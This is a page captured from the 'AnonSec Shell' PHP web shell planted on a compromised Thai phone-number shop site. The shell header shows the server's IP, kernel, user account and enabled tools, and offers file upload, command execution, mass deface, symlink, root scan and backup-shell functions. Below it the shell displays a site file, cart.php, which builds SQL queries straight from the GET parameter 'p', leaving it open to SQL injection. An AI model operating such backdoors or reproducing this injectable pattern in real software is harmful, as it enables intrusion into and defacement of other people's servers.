AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/shop/control/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/shop/control/themes/cart.php
<?php
$id_phonenumber  = $actiondata_db->q_one('phonenumber','phonenumber = "'.$_GET['p'].'"','id');
$view = $User_db->view_phone($id_phonenumber,$_SERVER["REMOTE_ADDR"],$_SERVER['HTTP_USER_AGENT']);

$id_shop  = $actiondata_db->q_one('phonenumber','phonenumber = "'.$_GET['p'].'"','id_shop');


$sql_sh = array('table'=>'shop','where'=>"id = '".$id_shop."'");
$view_sh  = $view_db->view($sql_sh);
$row_sh  = $view_db->q($view_sh);

$txt_phonenumber =  $Phone_class->phonecomma($row_sh['phone']);
?>



<div class="row mt-4 justify-content-center justify-content-md-end">
    <div class="col-md-12" style="margin-bottom:10px;">
        <p class="HeadText" style="text-align:left">ติดต่อเรา :<?php echo $row_sh['nameShop']; ?></p>
        <p style="color:#F00;font-size:18px;"><?php echo $row_sh['detail']; ?></p>

        <div style="padding-bottom:10px;">
        	<button type="button" onclick="show_div('Detail_shop')" class="btn btn-warning" style="background-color:#c8ac52;border:1px solid #c8ac52;">รายละเอียดร้านค้า</button>
        </div>
        <div id="Detail_shop" style="display:none;"> 

      	  	<div class="row" style="margin-top:25px;">
    <div class="col-md-12" style="margin-bottom:10px;">
        <p class="HeadText" style="text-align:left">ติดต่อเรา :<?php echo $row_sh['nameShop']; ?></p>
        <p style="color:#F00;font-size:18px;"><?php echo $row_sh['detail']; ?></p>
        <div class="form-horizontal" style="font-size:14px;">
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">เบอร์โทร :</label>
            <div class="col-sm-10">  <span> <?php echo $txt_phonenumber; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">อีเมล์  :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['email']; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">ไลน์ไอดี  :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['lineid']; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">เฟชบุ๊ค  :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['facebook']; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">Instagram    :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['ig']; ?></span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">Twwiter    :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['twitter']; ?></span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">เว็บไซด์   :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['web']; ?></span> </div>
          </div>
        </div>
        <div class="form-horizontal" style="font-size:14px;margin-top:40px;">
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">ที่อยู่  :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['addressshop']; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">วิธีการชำระเงิน   :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['payment']; ?> </span> </div>
          </div>
          <div class="form-group">
            <label for="inputEmail3" class="col-sm-2 control-label">วิธีการรับสินค้า   :</label>
            <div class="col-sm-10">  <span> <?php echo $row_sh['receiveProducts']; ?>  </span> </div>
          </div>
        </div>
    </div>
</div>

        </div>
        </div>
        <style>
		.Detail_shop_ber > .col-md-6 { border:0px solid #F00;}
		.Detail_shop_ber > .col-md-6 > .box_ber{border:1px solid #F00;max-width:372px;border:2px solid #c8ac52;height:235px;}
		.Detail_shop_ber > .col-md-6 > .box_ber > div{border-bottom:2px solid #c8ac52;}
		.Detail_shop_ber > .col-md-6 > .box_ber > div > .row > .col-md-6{ padding-bottom:0px;}
		.div_nw{border-left:2px solid #c8ac52;padding-top:10px;}
		@media (max-width: 768px)
		{
			.div_nw{border-top:2px solid #c8ac52;padding-top:0px;margin-bottom:10px;border-left:0px solid #c8ac52;}
		}
		</style>

       <div class="row Detail_shop_ber">
       <?php
		$list = array('table'=>'phonenumber','where'=>'phonenumber = "'.$_GET['p'].'"','order'=> "ORDER BY id DESC");
		$view = $view_db->view($list);
		$row = $view_db->q($view);

        $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
		$row_totalnumber = $actiondata_db->q_one('totalnumber','number = "'.$row['total'].'"','title');
		if($row_totalnumber==2){$row_totalnumber = '';}

   		$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

	   ?>

          <div class="col-md-6" align="center" style="margin-bottom:50px;">
          	<div class="box_ber" style="">
            	<div>
                	เบอร์ : <span style="font-size:30px;"> <?php echo $phonenumber; ?> </span>
                </div>
                <div class="container-fluid">
                    <div class="row ">
                         <div class="col-md-6" style="padding-top:10px;"><span style="font-size:30px;"> <?php echo $row['total']?> </span>  <?php echo $row_totalnumber;?> </div>
                         <div class="col-md-6 div_nw">
                         <span style="vertical-align:bottom"> เครือข่าย </span>
                         <img src="<?php echo $upload ?>mobilenetwork/<?php echo $row_mobilenetwork ?>" width="80"></div>
                    </div>
                </div>
                <div style="border:0px;" align="center">
                	 <div style="font-size:30px;padding:13px 0px;"> ราคา :  <?php echo number_format($row['price'])?>  บาท </div>
                     <div style="padding:0 7px;" class="">
                     	<button type="button" class="btn btn-danger div_com"
                        style="height:50px;width:100%;font-size:30px;background-color:#ff0000;border-radius:0px;" onclick="cart(<?php echo $row['id']?>);" >
                        <img src="../../../images/basket.png" width="34"  />
                        <span style="vertical-align:text-top"> สั่งซื้อสินค้า </span> </button>

                        <button type="button" class="btn btn-danger div_mobile"
                        style="height:50px;width:100%;font-size:30px;background-color:#ff0000;border-radius:0px;margin-top:15px;" onclick="cart(<?php echo $row['id']?>);" >
                        <img src="../../../images/basket.png" width="34"  />
                        <span style="vertical-align:text-top"> สั่งซื้อสินค้า </span> </button>
                     </div>


                </div>
            </div>
          </div>

       </div>



    </div>
</div>

<script>
function show_div(var1)
{
	var x = document.getElementById(var1);
	if (x.style.display === "none") {
        x.style.display = "block";
    } else {
        x.style.display = "none";
    }
}
</script>
<script>
function cart(var1)
{
	swal(
	  'สั่งซื้อสินค้า!',
	  'เพิ่มสินค้าในตะกร้าเรียบร้อยแล้วค่ะ',
	  'success'
	)

			$.ajax({
				url: "../../control/include/ajax_cart.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: 'id='+var1,
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
					$("#alert_cart").html(data);


					var xmlhttp = new XMLHttpRequest();
					xmlhttp.onreadystatechange = function() {
						if (this.readyState == 4 && this.status == 200) {
							document.getElementById('alert_cart_ok').innerHTML = this.responseText;
							$('#alert_cart_ok').dropdown('toggle');
						}
					};
					xmlhttp.open("GET", "../../control/include/ajax_cartlist.php", true);
					xmlhttp.send();
				}
			});


}
function cart2(var1)
{
	swal(
	  'สั่งซื้อสินค้า!',
	  'เพิ่มสินค้าในตะกร้าเรียบร้อยแล้วค่ะ',
	  'success'
	)

			$.ajax({
				url: "../../control/include/ajax_cart.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: 'id='+var1,
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
					$("#alert_cart2").html(data);


					var xmlhttp = new XMLHttpRequest();
					xmlhttp.onreadystatechange = function() {
						if (this.readyState == 4 && this.status == 200) {

							document.getElementById('alert_cart_ok2').innerHTML = this.responseText;
							$('#alert_cart_ok2').dropdown('toggle');

							document.getElementById('alert_cart_ok').innerHTML = this.responseText;
							$('#alert_cart_ok').dropdown('toggle');
						}
					};
					xmlhttp.open("GET", "../../control/include/ajax_cartlist.php", true);
					xmlhttp.send();
				}
			});


}
</script>

Anon7 - 2022
AnonSec Team